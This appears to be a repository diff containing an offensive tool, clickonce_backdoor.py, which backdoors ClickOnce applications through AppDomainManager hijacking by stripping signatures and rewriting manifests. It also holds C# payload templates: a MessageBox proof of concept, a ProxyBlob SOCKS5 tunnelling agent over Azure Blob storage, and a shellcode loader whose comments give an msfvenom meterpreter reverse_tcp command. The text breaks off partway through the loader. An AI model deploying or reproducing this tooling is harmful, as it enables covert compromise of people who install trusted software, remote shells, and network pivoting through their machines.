cs_src = tpl.replace('{CLASSNAME}', self.class_name).replace('{SHELLCODE}', base64.b64encode(sc).decode())
cs = self.app_dir / f'{self.dll_name}.cs'
cs.write_text(cs_src, encoding='utf-8')
self.log(f' Generated shellcode loader: {cs.name}','OK')
self._compile_cs(cs, dst)
cs.unlink(missing_ok=True)
elif self.poc:
tpl = load_poc_template()
if not tpl:
raise FileNotFoundError(
'examples/MessageBoxPoC.cs not found. Ensure examples/ is next to this script.')
cs_src = tpl.replace('{CLASSNAME}', self.class_name)
cs = self.app_dir / f'{self.dll_name}.cs'
cs.write_text(cs_src, encoding='utf-8')
self.log(f' Generated PoC source: {cs.name}','OK')
self._compile_cs(cs, dst)
cs.unlink(missing_ok=True)
else: raise ValueError('Need --payload, --shellcode, --poc, or --proxyblob')
self.dll_path = dst
def step5(self):
self.log('Step 5: Modifying .exe.config...')
cfgname = f'{self.exe_name}.config'
cfgpath = self.app_dir / cfgname
existing = parse_existing_cfg(cfgpath) if cfgpath.exists() else ''
cfgpath.write_text(CFG_TPL.format(asm=self.dll_name,cls=self.class_name,existing=existing),
encoding='utf-8')
self.cfg_path = cfgpath
self.log(f' Wrote: {cfgname} ({file_size(cfgpath)} bytes)','OK')
def step6(self):
self.log('Step 6: Updating app manifest (raw text)...')
t = read_xml(self.app_path)
t = xml_zero_pkt(t, self.vendor_token)
t = xml_rm_sigs(t)
self.log(f' Cleaned signatures & zeroed vendor publicKeyToken','OK')
cfgname = f'{self.exe_name}.config'
csz = file_size(self.cfg_path)
if xml_file_exists(t, cfgname):
t = xml_update_file(t, cfgname, csz)
self.log(f' Updated: {cfgname} ({csz} bytes)','OK')
else:
t = xml_add_file(t, cfgname, csz)
self.log(f' Added: {cfgname} ({csz} bytes)','OK')
dn = f'{self.dll_name}.dll'; dsz = file_size(self.dll_path)
if xml_file_exists(t, dn):
t = xml_update_file(t, dn, dsz)
self.log(f' Updated: {dn} ({dsz} bytes)','OK')
else:
t = xml_add_file(t, dn, dsz)
self.log(f' Added: {dn} ({dsz} bytes)','OK')
write_xml(self.app_path, t)
self.log(f' Saved ({file_size(self.app_path)} bytes)','OK')
def step7(self):
self.log('Step 7: Updating deployment manifest (raw text)...')
t = read_xml(self.deploy_path)
t = xml_zero_pkt(t, self.vendor_token)
t = xml_rm_sigs(t)
self.log(f' Cleaned signatures & zeroed vendor publicKeyToken','OK')
purl = f'{self.url}/{self.deploy_path.name}'
t = xml_update_provider(t, purl)
self.log(f' Provider: {purl}','OK')
msz = file_size(self.app_path)
mhash = sha256_base64(self.app_path)
t = xml_update_dep_size(t, msz)
t = xml_update_dep_hash(t, mhash)
self.log(f' Manifest ref: size={msz} hash={mhash[:32]}...','OK')
write_xml(self.deploy_path, t)
self.log(f' Saved ({file_size(self.deploy_path)} bytes)','OK')
def step8(self):
if not self.use_deploy:
self.log('Step 8: No .deploy needed'); return
self.log('Step 8: Applying .deploy...')
n=0
for f in self.app_dir.rglob('*'):
if f.is_dir(): continue
if f.suffix in ['.manifest','.application','.deploy','.cs','.py','.txt','.md']: continue
f.rename(f.parent/(f.name+'.deploy')); n+=1
self.log(f' Applied to {n} files','OK')
def step9(self):
self.log('Step 9: Building output...')
if self.output_dir.exists(): shutil.rmtree(self.output_dir)
shutil.copytree(str(self.work_dir), str(self.output_dir))
self.log(f' Output: {self.output_dir}','OK')
for f in sorted(self.output_dir.rglob('*')):
if f.is_file():
self.log(f' {f.relative_to(self.output_dir)} ({file_size(f):,} bytes)')
def step10(self):
self.log('Step 10: Generating .appref-ms...')
an = self.deploy_path.name
c = f'{self.url}/{an}#{an}, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=x86'
p = self.output_dir / an.replace('.application','.appref-ms')
with open(p,'wb') as f:
f.write(b'\xff\xfe')
f.write(c.encode('utf-16-le'))
self.log(f' Generated: {p.name}','OK')
def summary(self):
an = self.deploy_path.name
print(f"\n{'='*65}")
print(f" BACKDOORING COMPLETE")
print(f"{'='*65}")
print(f"\n Output: {self.output_dir}")
print(f" URL: {self.url}/{an}")
print(f" DLL: {self.dll_name}.dll")
print(f" Class: {self.class_name}")
print(f" Platform: {self.platform}")
if self.proxyblob:
print(f" Payload: ProxyBlob SOCKS5 agent")
print(f" ConnStr: {self.proxyblob[:40]}...")
elif self.poc:
print(f" Payload: MessageBox PoC")
elif self.shellcode_path:
print(f" Payload: Shellcode loader")
print(f"\n Serve: python {sys.argv[0]} serve --port 80 --dir {self.output_dir}")
print(f"\n Cache: rundll32 dfshim CleanOnlineAppCache\n")
def serve(d, port=80, bind='0.0.0.0'):
import http.server, socketserver
os.chdir(d)
h = http.server.SimpleHTTPRequestHandler
h.extensions_map.update({'.application':'application/x-ms-application',
'.manifest':'application/x-ms-manifest','.deploy':'application/octet-stream'})
print(f' [*] Serving {d} on {bind}:{port}\n')
with socketserver.TCPServer((bind,port),h) as s:
try: s.serve_forever()
except KeyboardInterrupt: print('\n[*] Stopped.')
# --- CLI ---
_B = '\033[1m'; _G = '\033[92m'; _C = '\033[96m'; _Y = '\033[93m'
_D = '\033[90m'; _RE = '\033[91m'; _R = '\033[0m'
USAGE_TEXT = f"""\
{_B}Usage:{_R}
{_G}Pre-compiled DLL payload:{_R}
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--payload{_R} {_Y}payload.dll{_R}
{_G}PoC - MessageBox (validates injection):{_R}
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--poc{_R}
{_G}ProxyBlob SOCKS5 agent:{_R}
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--proxyblob{_R} {_Y}<base64-conn-string>{_R}
{_G}Shellcode loader:{_R}
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--shellcode{_R} {_Y}beacon.bin{_R}
{_G}Serve output directory:{_R}
python clickonce_backdoor.py {_G}serve{_R} {_C}--port{_R} {_Y}80{_R} {_C}--dir{_R} {_Y}./output{_R}
"""
class _CliParser(argparse.ArgumentParser):
"""ArgumentParser with colored usage examples."""
def format_help(self):
formatter = self._get_formatter()
for ag in self._action_groups:
formatter.start_section(ag.title)
formatter.add_arguments(ag._group_actions)
formatter.end_section()
return USAGE_TEXT + '\n' + formatter.format_help()
def error(self, message):
sys.stderr.write(USAGE_TEXT + '\n')
sys.stderr.write(f' {_RE}error:{_R} {message}\n\n')
sys.exit(2)
def main():
print(BANNER, flush=True)
p = _CliParser()
sp = p.add_subparsers(dest='cmd', help=argparse.SUPPRESS)
sv = sp.add_parser('serve')
sv.add_argument('--port','-p',type=int,default=80)
sv.add_argument('--dir','-d',default='./output')
sv.add_argument('--bind','-b',default='0.0.0.0')
p.add_argument('--input','-i',help='.application file or directory')
p.add_argument('--url','-u',help='Hosting URL')
p.add_argument('--output','-o',default='./output')
p.add_argument('--payload',help='Compiled payload DLL',dest='payload_path')
p.add_argument('--shellcode','-s',help='Raw shellcode file')
p.add_argument('--poc',action='store_true')
p.add_argument('--proxyblob',help='ProxyBlob connection string (base64)')
p.add_argument('--dll-name',default=None)
p.add_argument('--class-name',default=None)
p.add_argument('--platform',choices=['x86','x64','anycpu'],default='x86',
help='Compiler platform target (default: x86)')
p.add_argument('--silent','-q',action='store_true',
help='Suppress step output, show only banner and summary')
p.add_argument('--verbose','-v',action='store_true')
a = p.parse_args()
if a.cmd == 'serve': serve(a.dir,a.port,a.bind); return
if not a.input or not a.url: p.error('--input and --url required')
if not a.payload_path and not a.shellcode and not a.poc and not a.proxyblob:
p.error('Need --payload, --shellcode, --poc, or --proxyblob')
ClickOnceBackdoor(a.input, a.url, a.output, a.payload_path, a.shellcode,
a.poc, a.dll_name, a.class_name, a.verbose, a.proxyblob,
a.platform, a.silent).run()
if __name__=='__main__': main()
+37
View File
@@ -0,0 +1,37 @@
/*
* ClickOnce AppDomainManager Injection — MessageBox PoC
* =====================================================
* Proof-of-concept payload that displays a MessageBox when the
* target ClickOnce application loads. Confirms code execution
* via AppDomainManager hijacking without any network activity.
*
* Placeholders (replaced by clickonce_backdoor.py):
* {CLASSNAME} — AppDomainManager class name (e.g. SmartCloudManager)
*
* Compile:
* csc.exe /t:library /platform:x86 /out:Payload.dll MessageBoxPoC.cs
*/
using System;
using System.Runtime.InteropServices;
public sealed class {CLASSNAME} : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
Loader.Execute();
return;
}
}
public class Loader
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
public static bool Execute()
{
MessageBox(IntPtr.Zero, "AppDomainManager Injection - PoC", "ClickOnce Backdoor", 0);
return true;
}
}
+566
View File
@@ -0,0 +1,566 @@
/*
* ProxyBlob Agent — C# Port for ClickOnce AppDomainManager Injection
* ====================================================================
* Faithful port of the Go agent from github.com/quarkslab/proxyblob
*
* This file is the DLL variant intended for ClickOnce backdooring via
* AppDomainManager hijacking. For standalone testing, use ProxyBlobStandalone.cs.
*
* Placeholders (replaced by clickonce_backdoor.py or manually):
* {CLASSNAME} — AppDomainManager class name (must match .exe.config)
* {CONNSTRING} — Base64 connection string from ProxyBlob proxy `create` command
*
* Connection string: base64( https://<account>.blob.core.windows.net/<uuid>?<sas> )
*
* ── DEPENDENCIES ──
* BouncyCastle.Cryptography (NuGet, netstandard2.0 target)
* NO Azure SDK — uses raw HTTP REST API with SAS token auth (faced some issue with Azure SDK)
*
* ── COMPILE ──
* nuget install BouncyCastle.Cryptography -Version 2.5.1 -OutputDirectory packages
* csc.exe /t:library /platform:anycpu /out:MyHelper.dll ProxyBlobAgent.cs ^
* /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
* /r:System.Net.Http.dll /r:netstandard.dll
*
* Then merge into single DLL:
* ILMerge /out:MyHelperFinal.dll /t:library MyHelper.dll ^
* packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
* /targetplatform:v4
*/
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Agreement;
using Org.BouncyCastle.Crypto.Digests;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Macs;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Security;
// ═══════════════════════════════════════════════════════════════════
// AppDomainManager shim — entry point for ClickOnce hijacking
// The host .exe's .config sets this class as the AppDomainManager.
// InitializeNewDomain fires before the app's Main().
//
// IMPORTANT: Uses a foreground Thread (not Task.Run) so the CLR
// won't terminate the process while the agent is still running.
// Background threads (Task.Run/ThreadPool) don't prevent exit.
// ═══════════════════════════════════════════════════════════════════
public sealed class {CLASSNAME} : AppDomainManager
{
private static int _init = 0;
public override void InitializeNewDomain(AppDomainSetup info)
{
if (Interlocked.Exchange(ref _init, 1) != 0) return;
var t = new Thread(() =>
{
try
{
Thread.Sleep(2000);
ProxyBlob.Agent.Run("{CONNSTRING}");
}
catch { }
});
t.IsBackground = false; // foreground — keeps process alive
t.Start();
}
}
namespace ProxyBlob
{
static class Proto
{
public const byte CmdNew=1, CmdAck=2, CmdData=3, CmdClose=4;
public const int CommandSize=1, UUIDSize=16, DataLengthSize=4;
public const int HeaderSize = CommandSize + UUIDSize + DataLengthSize;
public const byte S5=0x05, NoAuth=0x00, Connect=0x01;
public const byte AIPv4=0x01, ADomain=0x03, AIPv6=0x04;
public const byte ROk=0x00, RFail=0x01, RNetUnreach=0x03, RHostUnreach=0x04;
public const byte RConnRefused=0x05, RTTLExpired=0x06, RCmdNotSup=0x07, RAddrNotSup=0x08;
public static readonly byte[] InfoKey = { 0xDE, 0xAD, 0xB1, 0x0B };
}
class Pkt
{
public byte Cmd;
public byte[] ConnId;
public byte[] Data;
public byte[] Encode()
{
int dlen = Data != null ? Data.Length : 0;
byte[] buf = new byte[Proto.HeaderSize + dlen];
buf[0] = Cmd;
Buffer.BlockCopy(ConnId, 0, buf, 1, 16);
buf[17]=(byte)(dlen>>24); buf[18]=(byte)(dlen>>16);
buf[19]=(byte)(dlen>>8); buf[20]=(byte)(dlen);
if (dlen > 0) Buffer.BlockCopy(Data, 0, buf, Proto.HeaderSize, dlen);
return buf;
}
public static Pkt Decode(byte[] raw)
{
if (raw == null || raw.Length < Proto.HeaderSize) return null;
byte cmd = raw[0];
if (cmd < Proto.CmdNew || cmd > Proto.CmdClose) return null;
byte[] id = new byte[16];
Buffer.BlockCopy(raw, 1, id, 0, 16);
uint dl = (uint)((raw[17]<<24)|(raw[18]<<16)|(raw[19]<<8)|raw[20]);
if ((uint)raw.Length != (uint)Proto.HeaderSize + dl) return null;
byte[] data = null;
if (dl > 0) { data = new byte[dl]; Buffer.BlockCopy(raw, Proto.HeaderSize, data, 0, (int)dl); }
return new Pkt { Cmd = cmd, ConnId = id, Data = data };
}
}
class Conn
{
public byte[] Id;
public byte[] Key;
public BlockingCollection<byte[]> ReadBuf = new BlockingCollection<byte[]>(128);
public TcpClient Tcp;
public CancellationTokenSource Cts = new CancellationTokenSource();
int _dead;
public bool Dead { get { return Interlocked.CompareExchange(ref _dead, 0, 0) != 0; } }
public void Kill()
{
if (Interlocked.Exchange(ref _dead, 1) != 0) return;
Cts.Cancel();
try { Tcp?.Close(); } catch { }
try { ReadBuf.CompleteAdding(); } catch { }
}
public string IdKey { get { return Convert.ToBase64String(Id); } }
public static string MakeKey(byte[] id) { return Convert.ToBase64String(id); }
}
static class Crypto
{
static readonly SecureRandom Rng = new SecureRandom();
public static void GenX25519(out byte[] priv, out byte[] pub)
{
var kpg = new X25519KeyPairGenerator();
kpg.Init(new X25519KeyGenerationParameters(Rng));
var kp = kpg.GenerateKeyPair();
priv = ((X25519PrivateKeyParameters)kp.Private).GetEncoded();
pub = ((X25519PublicKeyParameters)kp.Public).GetEncoded();
}
public static byte[] DeriveKey(byte[] privRaw, byte[] peerPubRaw, byte[] nonce)
{
var priv = new X25519PrivateKeyParameters(privRaw, 0);
var peer = new X25519PublicKeyParameters(peerPubRaw, 0);
var agree = new X25519Agreement(); agree.Init(priv);
byte[] ss = new byte[agree.AgreementSize];
agree.CalculateAgreement(peer, ss, 0);
return HkdfSha3256(ss, nonce, 32);
}
static byte[] HkdfSha3256(byte[] ikm, byte[] salt, int outputLen)
{
byte[] prk = HmacSha3256(salt, ikm);
return HmacSha3256(prk, new byte[] { 0x01 });
}
static byte[] HmacSha3256(byte[] key, byte[] data)
{
var hmac = new HMac(new Sha3Digest(256));
hmac.Init(new KeyParameter(key));
hmac.BlockUpdate(data, 0, data.Length);
byte[] r = new byte[hmac.GetMacSize()];
hmac.DoFinal(r, 0);
return r;
}
public static byte[] Encrypt(byte[] key, byte[] plaintext)
{
byte[] nonce = new byte[24]; Rng.NextBytes(nonce);
byte[] subkey = HChaCha20(key, nonce);
byte[] ietfNonce = new byte[12];
Buffer.BlockCopy(nonce, 16, ietfNonce, 4, 8);
var aead = new ChaCha20Poly1305();
aead.Init(true, new ParametersWithIV(new KeyParameter(subkey), ietfNonce));
byte[] ct = new byte[aead.GetOutputSize(plaintext.Length)];
int len = aead.ProcessBytes(plaintext, 0, plaintext.Length, ct, 0);
len += aead.DoFinal(ct, len);
byte[] result = new byte[24 + len];
Buffer.BlockCopy(nonce, 0, result, 0, 24);
Buffer.BlockCopy(ct, 0, result, 24, len);
return result;
}
public static byte[] Decrypt(byte[] key, byte[] blob)
{
if (blob == null || blob.Length < 40) return null;
byte[] nonce = new byte[24]; Buffer.BlockCopy(blob, 0, nonce, 0, 24);
byte[] ct = new byte[blob.Length - 24]; Buffer.BlockCopy(blob, 24, ct, 0, ct.Length);
try
{
byte[] subkey = HChaCha20(key, nonce);
byte[] ietfNonce = new byte[12];
Buffer.BlockCopy(nonce, 16, ietfNonce, 4, 8);
var aead = new ChaCha20Poly1305();
aead.Init(false, new ParametersWithIV(new KeyParameter(subkey), ietfNonce));
byte[] plain = new byte[aead.GetOutputSize(ct.Length)];
int len = aead.ProcessBytes(ct, 0, ct.Length, plain, 0);
len += aead.DoFinal(plain, len);
byte[] result = new byte[len];
Buffer.BlockCopy(plain, 0, result, 0, len);
return result;
}
catch { return null; }
}
static byte[] HChaCha20(byte[] key, byte[] nonce)
{
uint[] s = new uint[16];
s[0]=0x61707865; s[1]=0x3320646e; s[2]=0x79622d32; s[3]=0x6b206574;
s[4]=LE32(key,0); s[5]=LE32(key,4); s[6]=LE32(key,8); s[7]=LE32(key,12);
s[8]=LE32(key,16); s[9]=LE32(key,20); s[10]=LE32(key,24); s[11]=LE32(key,28);
s[12]=LE32(nonce,0); s[13]=LE32(nonce,4); s[14]=LE32(nonce,8); s[15]=LE32(nonce,12);
for (int i = 0; i < 10; i++)
{
QR(s,0,4,8,12); QR(s,1,5,9,13); QR(s,2,6,10,14); QR(s,3,7,11,15);
QR(s,0,5,10,15); QR(s,1,6,11,12); QR(s,2,7,8,13); QR(s,3,4,9,14);
}
byte[] sk = new byte[32];
PLE32(sk,0,s[0]); PLE32(sk,4,s[1]); PLE32(sk,8,s[2]); PLE32(sk,12,s[3]);
PLE32(sk,16,s[12]); PLE32(sk,20,s[13]); PLE32(sk,24,s[14]); PLE32(sk,28,s[15]);
return sk;
}
static void QR(uint[] s, int a, int b, int c, int d)
{
s[a]+=s[b]; s[d]^=s[a]; s[d]=RL(s[d],16);
s[c]+=s[d]; s[b]^=s[c]; s[b]=RL(s[b],12);
s[a]+=s[b]; s[d]^=s[a]; s[d]=RL(s[d],8);
s[c]+=s[d]; s[b]^=s[c]; s[b]=RL(s[b],7);
}
static uint RL(uint v, int n) => (v<<n)|(v>>(32-n));
static uint LE32(byte[] b, int i) => (uint)b[i]|((uint)b[i+1]<<8)|((uint)b[i+2]<<16)|((uint)b[i+3]<<24);
static void PLE32(byte[] b, int i, uint v)
{ b[i]=(byte)v; b[i+1]=(byte)(v>>8); b[i+2]=(byte)(v>>16); b[i+3]=(byte)(v>>24); }
public static byte[] Xor(byte[] data, byte[] key)
{
byte[] r = new byte[data.Length];
for (int i = 0; i < data.Length; i++) r[i] = (byte)(data[i] ^ key[i % key.Length]);
return r;
}
}
class BlobHttp
{
readonly string _baseUrl, _sas;
readonly HttpClient _http;
readonly object _sendLock = new object();
const int InitDelay = 50, MaxDelay = 3000;
public BlobHttp(string baseUrl, string sas)
{
_baseUrl = baseUrl.TrimEnd('/'); _sas = sas;
_http = new HttpClient();
_http.DefaultRequestHeaders.Add("x-ms-version", "2020-10-02");
}
string Url(string blob) => _baseUrl + "/" + blob + "?" + _sas;
public void Send(string blob, byte[] data, CancellationToken ct)
{
lock (_sendLock)
{
int delay = InitDelay;
while (!ct.IsCancellationRequested)
{
long sz = GetSize(blob, ct);
if (sz > 0) { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); continue; }
delay = InitDelay;
try { Upload(blob, data, ct); return; }
catch (OperationCanceledException) { throw; }
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
}
ct.ThrowIfCancellationRequested();
}
}
public byte[] Recv(string blob, CancellationToken ct)
{
int delay = InitDelay;
while (!ct.IsCancellationRequested)
{
long sz = GetSize(blob, ct);
if (sz <= 0) { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); continue; }
delay = InitDelay;
try
{
byte[] data = Download(blob, ct);
if (data != null && data.Length > 0) { Clear(blob, ct); return data; }
}
catch (OperationCanceledException) { throw; }
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
}
ct.ThrowIfCancellationRequested(); return null;
}
long GetSize(string blob, CancellationToken ct)
{
try
{
using (var req = new HttpRequestMessage(HttpMethod.Head, Url(blob)))
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
{
if (!resp.IsSuccessStatusCode) return -1;
return resp.Content.Headers.ContentLength ?? 0;
}
}
catch (OperationCanceledException) { throw; }
catch { return -1; }
}
byte[] Download(string blob, CancellationToken ct)
{
using (var resp = _http.GetAsync(Url(blob), ct).GetAwaiter().GetResult())
{
resp.EnsureSuccessStatusCode();
return resp.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult();
}
}
void Upload(string blob, byte[] data, CancellationToken ct)
{
using (var req = new HttpRequestMessage(HttpMethod.Put, Url(blob)))
{
req.Headers.Add("x-ms-blob-type", "BlockBlob");
req.Content = new ByteArrayContent(data);
req.Content.Headers.ContentType =
new System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream");
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
resp.EnsureSuccessStatusCode();
}
}
void Clear(string blob, CancellationToken ct)
{
int delay = InitDelay;
while (!ct.IsCancellationRequested)
{
try { Upload(blob, new byte[0], ct); return; }
catch (OperationCanceledException) { throw; }
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
}
}
public void WriteInfo(byte[] data, CancellationToken ct)
{
using (var req = new HttpRequestMessage(HttpMethod.Put, Url("info")))
{
req.Headers.Add("x-ms-blob-type", "BlockBlob");
req.Content = new ByteArrayContent(data);
req.Content.Headers.ContentType =
new System.Net.Http.Headers.MediaTypeHeaderValue("text/plain");
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
resp.EnsureSuccessStatusCode();
}
}
public bool HealthCheck()
{
try
{
using (var req = new HttpRequestMessage(HttpMethod.Head, Url("info")))
using (var resp = _http.SendAsync(req).GetAwaiter().GetResult())
return resp.IsSuccessStatusCode;
}
catch { return false; }
}
}
public static class Agent
{
static ConcurrentDictionary<string, Conn> _conns = new ConcurrentDictionary<string, Conn>();
static BlobHttp _http;
static CancellationTokenSource _cts;
public static void Run(string connStr)
{
_cts = new CancellationTokenSource();
string b64 = connStr;
int pad = b64.Length % 4;
if (pad > 0) b64 += new string('=', 4 - pad);
string decoded = Encoding.UTF8.GetString(Convert.FromBase64String(b64));
var uri = new Uri(decoded);
string baseUrl = uri.Scheme + "://" + uri.Host + uri.AbsolutePath;
string sas = uri.Query.TrimStart('?');
_http = new BlobHttp(baseUrl, sas);
string info = Environment.UserName + "@" + Environment.MachineName;
byte[] encInfo = Crypto.Xor(Encoding.UTF8.GetBytes(info), Proto.InfoKey);
_http.WriteInfo(encInfo, _cts.Token);
Task.Run(() =>
{
while (!_cts.IsCancellationRequested)
{ Thread.Sleep(30000); if (!_http.HealthCheck()) { _cts.Cancel(); return; } }
});
try
{
while (!_cts.IsCancellationRequested)
{
byte[] raw;
try { raw = _http.Recv("request", _cts.Token); }
catch (OperationCanceledException) { break; }
catch { continue; }
if (raw == null || raw.Length == 0) continue;
var pkt = Pkt.Decode(raw);
if (pkt == null) continue;
switch (pkt.Cmd)
{
case Proto.CmdNew: HandleNew(pkt); break;
case Proto.CmdData: HandleData(pkt); break;
case Proto.CmdClose: HandleClose(pkt); break;
}
}
}
catch (OperationCanceledException) { }
finally { foreach (var c in _conns.Values) c.Kill(); }
}
static void HandleNew(Pkt pkt)
{
string key = Conn.MakeKey(pkt.ConnId);
if (pkt.Data == null || pkt.Data.Length < 56) return;
byte[] nonce = new byte[24], sPub = new byte[32];
Buffer.BlockCopy(pkt.Data, 0, nonce, 0, 24);
Buffer.BlockCopy(pkt.Data, 24, sPub, 0, 32);
byte[] priv, pub;
Crypto.GenX25519(out priv, out pub);
byte[] symKey = Crypto.DeriveKey(priv, sPub, nonce);
var conn = new Conn { Id = pkt.ConnId, Key = symKey };
if (!_conns.TryAdd(key, conn)) return;
var ack = new Pkt { Cmd = Proto.CmdAck, ConnId = pkt.ConnId, Data = pub };
try { _http.Send("response", ack.Encode(), _cts.Token); }
catch { conn.Kill(); _conns.TryRemove(key, out _); return; }
Task.Run(() => DoSocks(conn));
}
static void HandleData(Pkt pkt)
{
Conn c; if (!_conns.TryGetValue(Conn.MakeKey(pkt.ConnId), out c) || c.Dead) return;
byte[] plain = Crypto.Decrypt(c.Key, pkt.Data);
if (plain == null) { SendClose(pkt.ConnId); return; }
try { c.ReadBuf.Add(plain); } catch { }
}
static void HandleClose(Pkt pkt)
{ Conn c; if (_conns.TryRemove(Conn.MakeKey(pkt.ConnId), out c)) c.Kill(); }
static void DoSocks(Conn c)
{
try
{
byte[] m = Take(c); if (m == null) { CloseConn(c); return; }
bool ok = false;
for (int i = 0; i < m.Length; i++) if (m[i] == Proto.NoAuth) { ok = true; break; }
if (!ok) { Tx(c, new byte[]{Proto.S5,0xFF}); CloseConn(c); return; }
Tx(c, new byte[] { Proto.S5, Proto.NoAuth });
byte[] cmd = Take(c);
if (cmd == null || cmd.Length < 4 || cmd[0] != Proto.S5) { CloseConn(c); return; }
if (cmd[1] == Proto.Connect) DoConnect(c, cmd);
else { Tx(c, SocksReply(Proto.RCmdNotSup)); CloseConn(c); }
}
catch { CloseConn(c); }
}
static void DoConnect(Conn c, byte[] cmd)
{
string target;
try { target = ParseAddr(cmd, 3); }
catch { Tx(c, SocksReply(Proto.RFail)); CloseConn(c); return; }
TcpClient tcp;
try
{
int lc = target.LastIndexOf(':');
string host = target.Substring(0, lc).Trim('[', ']');
int port = int.Parse(target.Substring(lc + 1));
tcp = new TcpClient();
var ar = tcp.BeginConnect(host, port, null, null);
if (!ar.AsyncWaitHandle.WaitOne(10000)) { tcp.Close(); throw new TimeoutException(); }
tcp.EndConnect(ar);
}
catch { Tx(c, SocksReply(Proto.RConnRefused)); CloseConn(c); return; }
c.Tcp = tcp;
var ep = (IPEndPoint)tcp.Client.LocalEndPoint;
byte[] r = new byte[10];
r[0]=Proto.S5; r[1]=Proto.ROk; r[3]=Proto.AIPv4;
byte[] ipb = ep.Address.MapToIPv4().GetAddressBytes();
if (ipb.Length >= 4) Buffer.BlockCopy(ipb, 0, r, 4, 4);
r[8]=(byte)(ep.Port>>8); r[9]=(byte)(ep.Port&0xFF);
Tx(c, r);
var stream = tcp.GetStream();
Task.Run(() =>
{
byte[] buf = new byte[131072];
try { while (!c.Dead) { int n=stream.Read(buf,0,buf.Length); if(n<=0) break;
byte[] chunk=new byte[n]; Buffer.BlockCopy(buf,0,chunk,0,n); Tx(c, chunk); } }
catch { } finally { CloseConn(c); }
});
try { while (!c.Dead) { byte[] d = Take(c); if (d==null) break;
stream.Write(d, 0, d.Length); stream.Flush(); } }
catch { } finally { CloseConn(c); }
}
static byte[] Take(Conn c)
{ try { return c.ReadBuf.Take(c.Cts.Token); } catch { return null; } }
static void Tx(Conn c, byte[] data)
{
if (c.Dead) return;
byte[] enc = Crypto.Encrypt(c.Key, data);
var pkt = new Pkt { Cmd = Proto.CmdData, ConnId = c.Id, Data = enc };
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
}
static void CloseConn(Conn c)
{
if (!_conns.TryRemove(c.IdKey, out _) && c.Dead) return;
c.Kill();
var pkt = new Pkt { Cmd = Proto.CmdClose, ConnId = c.Id, Data = new byte[]{0} };
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
}
static void SendClose(byte[] connId)
{
var pkt = new Pkt { Cmd = Proto.CmdClose, ConnId = connId, Data = new byte[]{0} };
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
}
static byte[] SocksReply(byte code)
=> new byte[] { Proto.S5, code, 0, Proto.AIPv4, 0, 0, 0, 0, 0, 0 };
static string ParseAddr(byte[] b, int off)
{
byte a = b[off]; int c = off+1; string h; int p;
switch (a)
{
case Proto.AIPv4: h=b[c]+"."+b[c+1]+"."+b[c+2]+"."+b[c+3]; c+=4; break;
case Proto.ADomain: int dl=b[c++]; h=Encoding.ASCII.GetString(b,c,dl); c+=dl; break;
case Proto.AIPv6: var i6=new byte[16]; Buffer.BlockCopy(b,c,i6,0,16);
h="["+new IPAddress(i6)+"]"; c+=16; break;
default: throw new Exception("bad atyp");
}
p = (b[c]<<8)|b[c+1];
return h+":"+p;
}
}
}
File diff suppressed because it is too large Load Diff
+85
View File
@@ -0,0 +1,85 @@
/*
* ClickOnce AppDomainManager Injection — Shellcode Loader
* ========================================================
* Payload that decodes base64 shellcode and executes it via
* VirtualAlloc + copy + CreateThread when the target ClickOnce
* application loads via AppDomainManager hijacking.
*
* Placeholders (replaced by clickonce_backdoor.py):
* {CLASSNAME} — AppDomainManager class name (must match .exe.config)
* {SHELLCODE} — Base64-encoded raw shellcode bytes
*
* Compile:
* csc.exe /t:library /platform:x86 /out:Payload.dll ShellcodeLoader.cs
*
* For x64 targets:
* csc.exe /t:library /platform:x64 /out:Payload.dll ShellcodeLoader.cs
*
* Generate shellcode (example with msfvenom):
* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f raw -o shell.bin
*
* Then:
* python clickonce_backdoor.py --input ./App.application --url http://ATTACKER/App --shellcode shell.bin
*/
using System;
using System.Runtime.InteropServices;
using System.Threading;
public sealed class {CLASSNAME} : AppDomainManager
{
private static int _init = 0;
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
if (Interlocked.Exchange(ref _init, 1) != 0) return;
var t = new Thread(() =>
{
try
{
Thread.Sleep(2000);
ShellcodeRunner.Execute();
}
catch { }
});
t.IsBackground = false;
t.Start();
}
}
public class ShellcodeRunner
{
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
